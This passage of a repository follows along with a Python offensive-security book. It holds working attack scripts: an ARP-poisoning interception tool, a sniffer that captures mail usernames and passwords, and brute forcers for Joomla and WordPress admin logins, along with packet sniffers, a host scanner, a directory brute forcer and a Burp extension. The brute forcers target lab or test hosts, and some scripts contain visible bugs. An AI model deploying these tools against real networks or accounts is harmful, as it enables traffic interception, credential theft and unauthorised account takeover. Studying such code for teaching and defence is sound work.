cls.from_buffer_copy(socket_buffer) 74 | 75 | def __init__(self, socket_buffer): 76 | self.socket_buffer = socket_buffer 77 | 78 | # create a raw socket and bind it to the public interface 79 | if os.name == "nt": 80 | socket_protocol = socket.IPPROTO_IP # windows OS 81 | else: 82 | socket_protocol = socket.IPPROTO_ICMP # unix OS 83 | 84 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 85 | 86 | # i had trouble with my VM here following along the lesson of the book 87 | # sniffer.bind((host, 0)) 88 | # so I was able to made it working forwarding to this port 89 | sniffer.bind(("0.0.0.0", 6677)) 90 | 91 | # keep IP headers in the capture 92 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 93 | 94 | # if we're on Windows we need to send IOCTL to send promiscuos mode 95 | if os.name == "nt": 96 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 97 | 98 | # start sending packets 99 | t = threading.Thread(target=udp_sender, args=(tgt_subnet, tgt_message)) 100 | t.start() 101 | 102 | try: 103 | while True: 104 | # read in a single packet 105 | raw_buffer = sniffer.recvfrom(65535)[0] 106 | 107 | # create IP header from the first 20 bytes of the buffer 108 | ip_header = IP(raw_buffer[:20]) 109 | 110 | print(f"Protocol: {ip_header.protocol}, {ip_header.src_address} -> {ip_header.dst_address}") 111 | 112 | # if it's ICMP we want the details: 113 | if ip_header.protocol == "ICMP": 114 | # find where our ICMP packet starts 115 | offset = ip_header.ihl * 4 116 | buf = raw_buffer[offset:offset + ctypes.sizeof(ICMP)] 117 | 118 | # create our ICMP structure 119 | icmp_header = ICMP(buf) 120 | 121 | print(f"ICMP -> Type: {icmp_header.type}, {icmp_header.code}") 122 | 123 | # now check for the TYPE 3 and CODE 3 124 | # that indicates a host is up but has no port available to talk to 125 | if icmp_header.code == 3 and icmp_header.type == 3: 126 | 127 | # check to make sure we are receiving the response that lands on our subnet 128 | if ip_address(ip_header.src_address) in ip_network(tgt_subnet): 129 | # test our magic message 130 | if raw_buffer[len(raw_buffer)- len(tgt_message):] == tgt_message: 131 | print(f"Host Up: {ip_header.src_address}") 132 | 133 | # handle CTRL-C 134 | except KeyboardInterrupt: 135 | # turn off promiscuos mode if it has been activated 136 | if os.name == "nt": 137 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) -------------------------------------------------------------------------------- /Chapter 3/sniffer.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | 4 | # host to listen on 5 | host = "192.168.0.196" 6 | 7 | # create a raw socket and bind it to the public interface 8 | if os.name == "nt": 9 | socket_protocol = socket.IPPROTO_IP # windows OS 10 | else: 11 | socket_protocol = socket.IPPROTO_ICMP # unix OS 12 | 13 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 14 | 15 | # i had trouble with my VM here following along the lesson of the book 16 | # sniffer.bind((host, 0)) 17 | # so I was able to made it working forwarding to this port 18 | sniffer.bind(("0.0.0.0", 6677)) 19 | 20 | # keep IP headers in the capture 21 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 22 | 23 | # if we're on Windows we need to send IOCTL to send promiscuos mode 24 | if os.name == "nt": 25 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 26 | 27 | # read in a single packet 28 | print(sniffer.recvfrom(65535)) #the book has a typo here, stating 65565 29 | 30 | # turn off promiscuos mode if it has been activated 31 | if os.name == "nt": 32 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 33 | 34 | -------------------------------------------------------------------------------- /Chapter 3/sniffer_ip_header_decode.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import struct 4 | import ctypes 5 | 6 | # host to listen on 7 | host = "192.168.0.187" 8 | 9 | # the structure has been taken from canonical IP Header definition 10 | # i.e. sites.uclouvain.be/SystInfo/usr/include/netinet/ip.h.html 11 | class IP(ctypes.Structure): 12 | _fields_= [ 13 | ("ihl", ctypes.c_ubyte, 4), 14 | ("version", ctypes.c_ubyte, 4), 15 | ("tos", ctypes.c_ubyte), 16 | ("len", ctypes.c_ushort), 17 | ("id", ctypes.c_ushort), 18 | ("offset", ctypes.c_ushort), 19 | ("ttl", ctypes.c_ubyte), 20 | ("protocol_num", ctypes.c_ubyte), 21 | ("sum", ctypes.c_ushort), 22 | ("src", ctypes.c_uint32), 23 | ("dst", ctypes.c_uint32) 24 | ] 25 | 26 | def __new__(cls, socket_buffer=None): 27 | return cls.from_buffer_copy(socket_buffer) 28 | 29 | def __init__(self, socket_buffer=None): 30 | self.socket_buffer = socket_buffer 31 | 32 | # map protocol constats to their names 33 | self.protocol_map = {1: "ICMP", 6: "TCP", 17:"UDP"} 34 | 35 | # human readable IP addresses 36 | self.src_address = socket.inet_ntoa(struct.pack("@I", self.src)) 37 | self.dst_address = socket.inet_ntoa(struct.pack("@I", self.dst)) 38 | 39 | # human readable protocol 40 | try: 41 | self.protocol = self.protocol_map[self.protocol_num] 42 | except IndexError: 43 | self.protocol = str(self.protocol_num) 44 | 45 | # create a raw socket and bind it to the public interface 46 | if os.name == "nt": 47 | socket_protocol = socket.IPPROTO_IP # windows OS 48 | else: 49 | socket_protocol = socket.IPPROTO_ICMP # unix OS 50 | 51 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 52 | 53 | # i had trouble with my VM here following along the lesson of the book 54 | # sniffer.bind((host, 0)) 55 | # so I was able to made it working forwarding to this port 56 | sniffer.bind(("0.0.0.0", 6677)) 57 | 58 | # keep IP headers in the capture 59 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 60 | 61 | # if we're on Windows we need to send IOCTL to send promiscuos mode 62 | if os.name == "nt": 63 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 64 | 65 | try: 66 | while True: 67 | # read in a single packet 68 | raw_buffer = sniffer.recvfrom(65535)[0] 69 | 70 | # create IP header from the first 20 bytes of the buffer 71 | ip_header = IP(raw_buffer[:20]) 72 | 73 | print(f"Protocol: {ip_header.protocol}, {ip_header.src_address} -> {ip_header.dst_address}") 74 | 75 | # handle CTRL-C 76 | except KeyboardInterrupt: 77 | # turn off promiscuos mode if it has been activated 78 | if os.name == "nt": 79 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) -------------------------------------------------------------------------------- /Chapter 3/sniffer_with_icmp.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import struct 4 | import ctypes 5 | 6 | # host to listen on 7 | host = "192.168.0.187" 8 | 9 | # the structure has been taken from canonical IP Header definition 10 | # i.e. sites.uclouvain.be/SystInfo/usr/include/netinet/ip.h.html 11 | class IP(ctypes.Structure): 12 | _fields_= [ 13 | ("ihl", ctypes.c_ubyte, 4), 14 | ("version", ctypes.c_ubyte, 4), 15 | ("tos", ctypes.c_ubyte), 16 | ("len", ctypes.c_ushort), 17 | ("id", ctypes.c_ushort), 18 | ("offset", ctypes.c_ushort), 19 | ("ttl", ctypes.c_ubyte), 20 | ("protocol_num", ctypes.c_ubyte), 21 | ("sum", ctypes.c_ushort), 22 | ("src", ctypes.c_uint32), 23 | ("dst", ctypes.c_uint32) 24 | ] 25 | 26 | def __new__(cls, socket_buffer=None): 27 | return cls.from_buffer_copy(socket_buffer) 28 | 29 | def __init__(self, socket_buffer=None): 30 | self.socket_buffer = socket_buffer 31 | 32 | # map protocol constats to their names 33 | self.protocol_map = {1: "ICMP", 6: "TCP", 17:"UDP"} 34 | 35 | # human readable IP addresses 36 | self.src_address = socket.inet_ntoa(struct.pack("@I", self.src)) 37 | self.dst_address = socket.inet_ntoa(struct.pack("@I", self.dst)) 38 | 39 | # human readable protocol 40 | try: 41 | self.protocol = self.protocol_map[self.protocol_num] 42 | except IndexError: 43 | self.protocol = str(self.protocol_num) 44 | 45 | class ICMP(ctypes.Structure): 46 | _fields_= [ 47 | ("type", ctypes.c_ubyte), 48 | ("code", ctypes.c_ubyte), 49 | ("checksum", ctypes.c_ushort), 50 | ("unused", ctypes.c_ushort), 51 | ("next_hop_mtu", ctypes.c_ushort) 52 | ] 53 | 54 | def __new__(cls, socket_buffer): 55 | return cls.from_buffer_copy(socket_buffer) 56 | 57 | def __init__(self, socket_buffer): 58 | self.socket_buffer = socket_buffer 59 | 60 | # create a raw socket and bind it to the public interface 61 | if os.name == "nt": 62 | socket_protocol = socket.IPPROTO_IP # windows OS 63 | else: 64 | socket_protocol = socket.IPPROTO_ICMP # unix OS 65 | 66 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 67 | 68 | # i had trouble with my VM here following along the lesson of the book 69 | # sniffer.bind((host, 0)) 70 | # so I was able to made it working forwarding to this port 71 | sniffer.bind(("0.0.0.0", 6677)) 72 | 73 | # keep IP headers in the capture 74 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 75 | 76 | # if we're on Windows we need to send IOCTL to send promiscuos mode 77 | if os.name == "nt": 78 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 79 | 80 | try: 81 | while True: 82 | # read in a single packet 83 | raw_buffer = sniffer.recvfrom(65535)[0] 84 | 85 | # create IP header from the first 20 bytes of the buffer 86 | ip_header = IP(raw_buffer[:20]) 87 | 88 | print(f"Protocol: {ip_header.protocol}, {ip_header.src_address} -> {ip_header.dst_address}") 89 | 90 | # if it's ICMP we want the details: 91 | if ip_header.protocol == "ICMP": 92 | # find where our ICMP packet starts 93 | offset = ip_header.ihl * 4 94 | buf = raw_buffer[offset:offset + ctypes.sizeof(ICMP)] 95 | 96 | # create our ICMP structure 97 | icmp_header = ICMP(buf) 98 | 99 | print(f"ICMP -> Type: {icmp_header.type}, {icmp_header.code}") 100 | 101 | # handle CTRL-C 102 | except KeyboardInterrupt: 103 | # turn off promiscuos mode if it has been activated 104 | if os.name == "nt": 105 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) -------------------------------------------------------------------------------- /Chapter 4/README.md: -------------------------------------------------------------------------------- 1 | ## Notes for the reader 2 | 3 | Scapy for Python3 is commonly found under Kamene libs https://kamene.readthedocs.io/en/latest/introduction.html
4 | 5 | ### About pic_carver.py 6 | 7 | The cv2 module is now replaced by open-cv python. See:
8 | - https://pypi.org/project/opencv-python/ 9 | - https://docs.opencv.org/master/ 10 | 11 | Another source cited in the book is https://fideloper.com/facial-detection; 12 |
here, you can also download the data for the training set: https://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.xml 13 | 14 | If you're not familiar with open-cv module, this part will result quite bumpy (also, the book goes thru this section without much explanation, even saying that the check of all the warnings will be up to the reader).
15 | 16 | As a personal note, the use case proposed by the book - scan for faces in attached images - looks uninteresting. There would have been more interesting cases, such as understanding what type of attachment is attached to an email, or the size of it. Something to work on in the future. 17 | 18 | At current date I had no time yet to deep test this part of the code, so I am leaving it up for the future. 19 | 20 | 21 | -------------------------------------------------------------------------------- /Chapter 4/arper.py: -------------------------------------------------------------------------------- 1 | import kamene.all as kam 2 | import sys 3 | import threading 4 | import time 5 | 6 | # get your VM data running from a shell 7 | # $ipconfig 8 | # $arp -a 9 | 10 | interface = "en1" 11 | tgt_ip = "172.16.1.255" 12 | tgt_gateway = "172.17.55.245" 13 | packet_count = 500 14 | poisoning = True 15 | 16 | def restore_target(gateway_ip, gateway_mac, target_ip, target_mac): 17 | print("[*] Restoring target...") 18 | send(kam.ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac),count=5) 19 | send(kam.ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac),count=5) 20 | 21 | def get_mac(ip_address): 22 | responses, unanswered = kam.srp(kam.Ether(dst="ff:ff:ff:ff:ff:ff") / kam.ARP(pdst=ip_address), timeout=2, retry=10) 23 | 24 | # return mac address from response 25 | for s,r in responses: 26 | return r[kam.Ether].src 27 | return None 28 | 29 | def poison_target(gateway_ip, gateway_mac, target_ip, target_mac): 30 | global poisoning 31 | 32 | poison_tgt = kam.ARP() 33 | poison_tgt.op = 2 34 | poison_tgt.psrc = gateway_ip 35 | poison_tgt.pdst = target_ip 36 | poison_tgt.hwdst = target_mac 37 | 38 | poison_gateway = kam.ARP() 39 | poison_gateway.op = 2 40 | poison_gateway.psrc = target_ip 41 | poison_gateway.pdst = gateway_ip 42 | poison_gateway.hwdst = gateway_mac 43 | 44 | print("[*] Beginning the ARP poison. [CTRL-C to stop]") 45 | 46 | while poisoning: 47 | send(poison_tgt) 48 | send(poison_gateway) 49 | time.sleep(2) 50 | 51 | print("[*] ARP poison attack finished") 52 | 53 | return 54 | 55 | # set out our interface 56 | kam.conf.iface = interface 57 | 58 | # turn off output 59 | kam.conf.verb = 0 60 | 61 | print(f"[*] Setting up {interface}") 62 | 63 | tgt_gateway_mac = get_mac(tgt_gateway) 64 | 65 | if tgt_gateway_mac is None: 66 | print("[!!!] Failed to get gateway MAC. Exiting.") 67 | sys.exit(0) 68 | else: 69 | print(f"[*] Gateway {tgt_gateway} is at {tgt_gateway_mac}") 70 | 71 | tgt_mac = get_mac(tgt_ip) 72 | 73 | if tgt_mac is None: 74 | print("[!!!] Failed to get target MAC. Exiting.") 75 | sys.exit(0) 76 | else: 77 | print(f"[*] Target {tgt_ip} is at {tgt_mac}") 78 | 79 | # start poison thread 80 | poison_thread = threading.Thread(target=poison_target, 81 | args=(tgt_gateway, tgt_gateway_mac, tgt_ip, tgt_mac)) 82 | poison_thread.start() 83 | 84 | try: 85 | print(f"[*] Starting sniffer for {packet_count} packets") 86 | bpf_filter = f"ip host {tgt_ip}" 87 | packets = kam.sniff(count=packet_count, filter=bpf_filter, iface=interface) 88 | print(f"[*] Writing packets to arper.pcap") 89 | kam.wrpcap("arper.pcap", packets) 90 | 91 | except KeyboardInterrupt: 92 | pass 93 | 94 | finally: 95 | poisoning = False 96 | time.sleep(2) 97 | 98 | #restore the network 99 | restore_target(tgt_gateway, tgt_gateway_mac, tgt_ip, tgt_mac) 100 | 101 | sys.exit() 102 | -------------------------------------------------------------------------------- /Chapter 4/mail_sniffer.py: -------------------------------------------------------------------------------- 1 | from kamene.all import * 2 | 3 | def packet_callback(packet): 4 | if packet[TCP].payload: 5 | mail_packet = bytes(packet[TCP].payload) 6 | if b"user" in mail_packet.lower() or b"pass" in mail_packet.lower(): 7 | print(f"[*] Server: {packet[IP].dst}") 8 | print(f"[*] {packet[TCP].payload}") 9 | 10 | sniff(filter="tcp port 110 or tcp 25 or tcp port 143", prn=packet_callback, store=0) 11 | -------------------------------------------------------------------------------- /Chapter 4/pic_carver.py: -------------------------------------------------------------------------------- 1 | import cv2 2 | from kamene.all import * 3 | 4 | pictures_directory = "pic_carver/pictures" 5 | faces_directory = "pic_carver/faces" 6 | pcap_file= "bhp.pcap" 7 | 8 | def face_detect(path, file_name): 9 | img = cv2.imread(path) 10 | cascade = cv2.CascadeClassifier("haarcascade_frontalface.alt.xml") 11 | rects = cascade.detectMultiScale(img, 1.3, 4, cv2.CASCADE_SCALE_IMAGE, (20,20)) 12 | 13 | if len(rects) == 0: 14 | return False 15 | rects[:, 2] += rects[:, :2] 16 | 17 | # highlights the faces in the image 18 | for x1, y1, x2, y2 in rects: 19 | cv2.rectangle(img, (x1,y1), (x2,y2), (127,255,0), 2) 20 | cv2.inwrite(f"{faces_directory} {pcap_file} {file_name}, img") 21 | return True 22 | 23 | def get_http_headers(http_payload): 24 | try: 25 | headers_raw = http_payload[:http_payload.index("\r\n\r\n") +2] 26 | headers = dict(re.findall(r"(?P.*?): (?P.*?)\r\n", headers_raw)) 27 | except: 28 | return None 29 | if "Content-Type" not in headers: 30 | return None 31 | return headers 32 | 33 | def extract_image(headers, http_payload): 34 | image = None 35 | image_type = None 36 | 37 | try: 38 | if "image" in headers["Content-Type"]: 39 | image_type = headers["Content-Type"].split("/")[1] 40 | image = http_payload[http_payload.index("\r\n\r\n") + 4:] 41 | # try to decompress the image if needed 42 | try: 43 | if "Content-Encoding" in list(headers.keys()): 44 | if headers["Content-Encoding"] == "gzip": 45 | image = zlib.decompress(image, 16 + zlib.MAX_WBITS) 46 | elif headers["Content-Encoding"] == "deflate": 47 | image = zlib.decompress(image) 48 | except: 49 | pass 50 | except: 51 | return None, None 52 | 53 | return image, image_type 54 | 55 | def http_assembler(pcap_fl): 56 | carved_images = 0 57 | faces_detected = 0 58 | 59 | a = rdpcap(pcap_fl) 60 | sessions = a.sessions() 61 | 62 | for session in sessions: 63 | http_payload = "" 64 | for packet in sessions[session]: 65 | try: 66 | if packet[TCP].dport == 80 or packet[TCP].sport == 80: 67 | # reassemble the stream into a single buffer 68 | http_payload += str(packet[TCP].payload) 69 | except: 70 | pass 71 | 72 | headers = get_http_headers(http_payload) 73 | 74 | if headers is None: 75 | continue 76 | 77 | image, image_type = extract_image(headers, http_payload) 78 | 79 | if image is not None and image_type is not None: 80 | file_name = f"{pcap_fl}-pic_carver_{carved_images}.{image_type}" 81 | with open(f"{pictures_directory}{file_name}, 'wb'") as fd: 82 | fd.write(image) 83 | carved_images += 1 84 | 85 | # now attempt face detection 86 | try: 87 | result = face_detect(f"{pictures_directory}, {file_name}", file_name) 88 | if result: 89 | face_detected += 1 90 | except: 91 | pass 92 | 93 | return carved_images, faces_detected 94 | 95 | carved_img, faces_dtct = http_assembler(pcap_file) 96 | 97 | print(f"Exctracted: {carved_images} images") 98 | print(f"Detected: {face_detected} faces") 99 | -------------------------------------------------------------------------------- /Chapter 5/README.md: -------------------------------------------------------------------------------- 1 | ## Notes for the reader 2 | 3 | This chapter is based on a list of words to feed the brute force algo. 4 | 5 | Both links suggested by the books are apparently broken. But I was able to find them on the web and you can find them in the repo for easiest ref. 6 | 7 | - SVN list could be downloaded from https://www.netsparker.com/blog/web-security/svn-digger-better-lists-for-forced-browsing/ 8 | 9 | - I wasn't able instead to find the source of the Cain and Abel one, so I downloaded it from this repo: https://github.com/duyet/bruteforce-database 10 | -------------------------------------------------------------------------------- /Chapter 5/SVN_README.txt: -------------------------------------------------------------------------------- 1 | SVN Digger v1.0 - 11/04/2011 2 | ==================== 3 | You can use these lists for finding hidden resources on the web applications. 4 | More information : http://www.mavitunasecurity.com/blog/SVN-Digger-Better-Lists-for-Forced-Browsing/ 5 | 6 | They are licensed under GPL, feel free to share and use your own GPL-Compatible application. -------------------------------------------------------------------------------- /Chapter 5/content_bruter.py: -------------------------------------------------------------------------------- 1 | import queue 2 | import threading 3 | import urllib.error 4 | import urllib.parse 5 | import urllib.request 6 | 7 | threads = 50 8 | target_url = "http://testphp.vulnweb.com" 9 | wordlist_file = "all.txt" 10 | file_extensions = [".php", ".bak", ".orig", ".inc"] 11 | resume = None 12 | user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 13 | 14 | def build_wordlist(word_list_file): 15 | with open (word_list_file, "r") as l: 16 | raw_words = [line.rstrip("\n") for line in l] 17 | 18 | found_resume = False 19 | words = queue.Queue() 20 | 21 | for word in raw_words: 22 | if resume: 23 | if found_resume: 24 | words.put(word) 25 | else: 26 | if word == resume: 27 | found_resume = True 28 | print(f"Resuming wordlist from: {resume}") 29 | else: 30 | words.put(word) 31 | return words 32 | 33 | def dir_bruter(extensions=None): 34 | while not word_queue.empty(): 35 | attempt = word_queue.get() 36 | attempt_list = [] 37 | 38 | # check if there's a file extensions 39 | # if not it's a directory path 40 | if "." not in attempt: 41 | attempt_list.append(f"/{attempt}/") 42 | else: 43 | attempt_list.append(f"/{attempt}") 44 | 45 | # if we want to bruteforce extensions 46 | if extensions: 47 | for extension in extensions: 48 | attempt_list.append(f"/{attempt}{extension}") 49 | 50 | for brute in attempt_list: 51 | url = f"{target_url}{urllib.parse.quote(brute)}" 52 | try: 53 | headers = {"User-Agent": user_agent} 54 | r = urllib.request.Request(url, headers=headers) 55 | response = urllib.request.urlopen(r) 56 | if len(response.read()): 57 | print(f"[{response.code}] => {url}") 58 | except urllib.error.HTTPError as e: 59 | if e.code != 404: 60 | print(f"!!! {e.code} => {url}") 61 | 62 | word_queue = build_wordlist(wordlist_file) 63 | 64 | for thread in range(threads): 65 | t = threading.Thread(target=dir_bruter, args=(file_extensions,)) 66 | t.start() 67 | -------------------------------------------------------------------------------- /Chapter 5/joomla_killer.py: -------------------------------------------------------------------------------- 1 | import http.cookiejar 2 | import queue 3 | import threading 4 | import urllib.error 5 | import urllib.parse 6 | import urllib.request 7 | from abc import ABC #Abstract Base Classes 8 | from html.parser import HTMLParser 9 | 10 | # global settings 11 | user_thread = 10 12 | username = "admin" 13 | wordlist_file = "cain.txt" 14 | resume = None 15 | 16 | # target settings 17 | # start from a local testing installation before going into the wild 18 | target_url = "http://192.168.112.131/administrator/index.php" 19 | target_post = "http://192.168.112.131/administrator/index.php" 20 | 21 | username_field = "username" 22 | password_field = "pswd" 23 | 24 | success_check = "Administration - Control Panel" 25 | 26 | class BruteParser(HTMLParser, ABC): 27 | def __init__(self): 28 | HTMLParser.__init__(self) 29 | self.tag_results = {} 30 | 31 | def handle_starttag(self, tag, attrs): 32 | if tag == "input": 33 | tag_name = None 34 | for name, value in attrs: 35 | if name == "name": 36 | tag_name = value 37 | if tag_name: 38 | self.tag_results[tag_name] = value 39 | 40 | class Bruter(object): 41 | def __init__(self, user, words_q): 42 | self.username = user 43 | self.password_q = words_q 44 | self.found = False 45 | print(f"Finished setting up for: {user}") 46 | 47 | def run_bruteforce(self): 48 | for thread in range(user_thread): 49 | t = threading.Thread(target=self.web_bruter) 50 | t.start() 51 | 52 | def web_bruter(self): 53 | while not self.password_q.empty() and not self.found: 54 | brute = self.password_q.get().rstrip() 55 | jar = http.cookiejar.FileCookieJar("cookies") 56 | opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar)) 57 | response = opener.open(target_url) 58 | page = response.read 59 | print(f"Trying: {self.username}: {brute} ({self.password_q.qsize()} left)") 60 | 61 | # parse out the hidden fields 62 | parser = BruteParser() 63 | parser.feed(page) 64 | post_tags = parser.tag_results 65 | 66 | # add our username and password fields 67 | post_tags[username_field] = self.username 68 | post_tags[username_field] = brute 69 | 70 | login_data = urllib.parse.urlencode(post_tags) 71 | login_response = opener.open(target_post, login_data) 72 | login_result = login_response.read() 73 | 74 | if success_check in login_result: 75 | self.found = True 76 | print("[*] Bruteforce successful.") 77 | print(f"[*] Username: {username}") 78 | print(f"[*] Password:{brute}") 79 | print("[*] Waiting for other threads to exit...") 80 | 81 | def build_wordlist(word_list_file): 82 | with open (word_list_file, "r") as l: 83 | raw_words = [line.rstrip("\n") for line in l] 84 | 85 | found_resume = False 86 | word_queue = queue.Queue() 87 | 88 | for word in raw_words: 89 | if resume: 90 | if found_resume: 91 | word_queue.put(word) 92 | else: 93 | if word == resume: 94 | found_resume = True 95 | print(f"Resuming wordlist from: {resume}") 96 | else: 97 | word_queue.put(word) 98 | return word_queue 99 | 100 | words = build_wordlist(wordlist_file) 101 | bruter_obj = Bruter(username, words) 102 | bruter_obj.run_bruteforce() 103 | -------------------------------------------------------------------------------- /Chapter 5/web_app_mapper.py: -------------------------------------------------------------------------------- 1 | import os 2 | import queue 3 | import threading 4 | import urllib.error 5 | import urllib.parse 6 | import urllib.request 7 | 8 | threads = 10 9 | target = "http://www.test.com" 10 | 11 | # here you should download your local copy of Joomla for testing purposes 12 | directory = "/Users/user/Downloads/joomla-x.x.x" 13 | 14 | # filtering out the file extensions we don't need. Feel free to extend! 15 | filters = [".jpg", ".gif", ".png", ".css"] 16 | 17 | os.chdir(directory) 18 | web_paths = queue.Queue() 19 | 20 | for r, d, f in os.walk("."): 21 | for files in f: 22 | remote_path = f"{r}/{files}" 23 | if remote_path.startswith("."): 24 | remote_path = remote_path[1:] 25 | if os.path.splitext(files)[1] not in filters: 26 | web_paths.put(remote_path) 27 | 28 | def test_remote(): 29 | while not web_paths.empty(): 30 | path = web_paths.get() 31 | url = f"{target}{path}" 32 | request = urllib.request.Request(url) 33 | try: 34 | response = urllib.request.urlopen(request) 35 | print(f"[{response.code}] => {path}") 36 | response.close() 37 | except urllib.error.HTTPError as e: 38 | print(f"Failed for error {e}, {e.code}") 39 | 40 | for thread in range(threads): 41 | print(f"Spawning thread: {thread}") 42 | t = threading.Thread(target=test_remote) 43 | t.start() 44 | -------------------------------------------------------------------------------- /Chapter 5/wordpress_killer.py: -------------------------------------------------------------------------------- 1 | from io import BytesIO 2 | from lxml import etree 3 | from queue import Queue 4 | 5 | import requests 6 | import sys 7 | import threading 8 | import time 9 | 10 | SUCCESS = 'Welcome to WordPress!' 11 | TARGET = "http://test_test_test.com/wp-login.php" 12 | WORDLIST = 'cain.txt' 13 | ADMIN = "admin" 14 | 15 | def get_words(): 16 | with open(WORDLIST) as f: 17 | raw_words = f.read() 18 | 19 | words = Queue() 20 | for word in raw_words.split(): 21 | words.put(word) 22 | return words 23 | 24 | def get_params(content): 25 | params = dict() 26 | parser = etree.HTMLParser() 27 | tree = etree.parse(BytesIO(content), parser=parser) 28 | for elem in tree.findall('//input'): 29 | name = elem.get('name') 30 | if name is not None: 31 | params[name] = elem.get('value', None) 32 | return params 33 | 34 | class Bruter: 35 | def __init__(self, username, url): 36 | self.username = username 37 | self.url = url 38 | self.found = False 39 | print(f'\nBrute Force Attack beginning on {url}.\n') 40 | print("Finished the setup where username = %s\n" % username) 41 | 42 | def run_bruteforce(self, passwords): 43 | for _ in range(10): 44 | t = threading.Thread(target=self.web_bruter, args=(passwords,)) 45 | t.start() 46 | 47 | def web_bruter(self, passwords): 48 | session = requests.Session() 49 | resp0 = session.get(self.url) 50 | params = get_params(resp0.content) 51 | params['log'] = self.username 52 | 53 | while not passwords.empty() and not self.found: 54 | time.sleep(5) 55 | passwd = passwords.get() 56 | print(f'Trying username/password {self.username}/{passwd:<10}') 57 | params['pwd'] = passwd 58 | resp1 = session.post(self.url, data=params) 59 | 60 | if SUCCESS in resp1.content.decode(): 61 | self.found = True 62 | print(f"\nBruteforcing successful.") 63 | print("Username is %s" % self.username) 64 | print("Password is %s\n" % passwd) 65 | self.found = True 66 | 67 | if __name__ == '__main__': 68 | b = Bruter(ADMIN, TARGET) 69 | words = get_words() 70 | b.run_bruteforce(words) 71 | -------------------------------------------------------------------------------- /Chapter 6/README.md: -------------------------------------------------------------------------------- 1 | ### Notes for the readers 2 | 3 | - Quality of code in this chapter looks poorer than the previous ones. A tons of warnings to works on. Optimization of the code shown here is currently in progress. 4 | - You can download the latest Jython version from https://www.jython.org/download (as today jython-standalone-2.7.2.jar, direct link: https://repo1.maven.org/maven2/org/python/jython-standalone/2.7.2/jython-standalone-2.7.2.jar ) 5 | - If you need to install Burp Suite, you may find useful: https://www.kali.org/tools/burpsuite/ & https://blog.eldernode.com/configure-burp-suite-on-kali-linux/ 6 | - Even if was able to integrate Burp Suite with Python via .jar file, I wasn't able to successfully integrate the extensions. Therefore this chapter is still to be tested live. 7 | ![burp1](https://user-images.githubusercontent.com/57464184/140102115-12a52560-92cb-46b0-8022-a4e2fce11ec9.png) 8 | - To create the BING API Key, you may lead to https://www.microsoft.com/en-us/bing/apis/bing-web-search-api 9 | 10 | -------------------------------------------------------------------------------- /Chapter 6/bhp_bing.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import json 3 | import re 4 | import socket 5 | import urllib.error 6 | import urllib.parse 7 | import urllib.request 8 | 9 | from burp import IBurpExtender 10 | from burp import IContextMenuFactory 11 | from java.net import URL 12 | from java.util import ArrayList 13 | from javax.swing import JMenuItem 14 | 15 | bing_api_key = "YOUR_API_KEY" 16 | 17 | class BurpExtender(IBurpExtender, IContextMenuFactory): 18 | def registerExtenderCallbacks(self, callbacks): 19 | self._callbacks = callbacks 20 | self._helpers = callbacks.getHelpers() 21 | self.context = None 22 | 23 | #setting up extensions 24 | callbacks.setExtensionName("BHP Wordlist") 25 | callbacks.registerContextMenuFactory(self) 26 | return 27 | 28 | def createMenuItems(self, context_menu): 29 | self.context = context_menu 30 | menu_list = ArrayList() 31 | menu_list.add(JMenuItem("Send to Bing", actionPerformed=self.bing_menu)) 32 | return menu_list 33 | 34 | def bingMenu(self, event): 35 | # grab the details of what the user clicked 36 | http_traffic = self.context.getSelectedMessages() 37 | print(f"{len(http_traffic)} requests highlighted") 38 | 39 | for traffic in http_traffic: 40 | http_service = traffic.getHttpService() 41 | host = http_service.getHost() 42 | print(f"User selected host: {host}") 43 | self.bing_search(host) 44 | return 45 | 46 | def bingSearch(self, host): 47 | # check if we have an IP or hostname 48 | is_ip = re.match(r'[0-9]+(?:\.[0-9]+){3}', host) 49 | 50 | if is_ip: 51 | ip_address = host 52 | domain = False 53 | else: 54 | ip_address = socket.gethostbyname(host) 55 | domain = True 56 | 57 | bing_query_string = f"'ip:{ip_address}'" 58 | self.bing_query(bing_query_string) 59 | 60 | if domain: 61 | bing_query_string = f"'domain:{host}'" 62 | self.bing_query(bing_query_string) 63 | 64 | def bingQuery(self, bing_query_string): 65 | 66 | print(f"Performing Bing search: {bing_query_string}") 67 | 68 | quoted_query = urllib.parse.quote(bing_query_string) 69 | 70 | http_request = f"GET https://api.datamarket.azure.com/Bing/Search/Web?$format=json&$top=20&Query={quoted_query} HTTP/1.1\r\n" 71 | http_request += "Host: api.datamarket.azure.com\r\n" 72 | http_request += "Connection: close\r\n" 73 | http_request += "Authorization: Basic %s\r\n" % base64.b64encode(":%s" % bing_api_key) 74 | http_request += "User-Agent: Pentesting Python\r\n\r\n" 75 | 76 | json_body = self._callbacks.makeHttpRequest("api.datamarket.azure.com", 443, True, http_request).tostring() 77 | 78 | json_body = 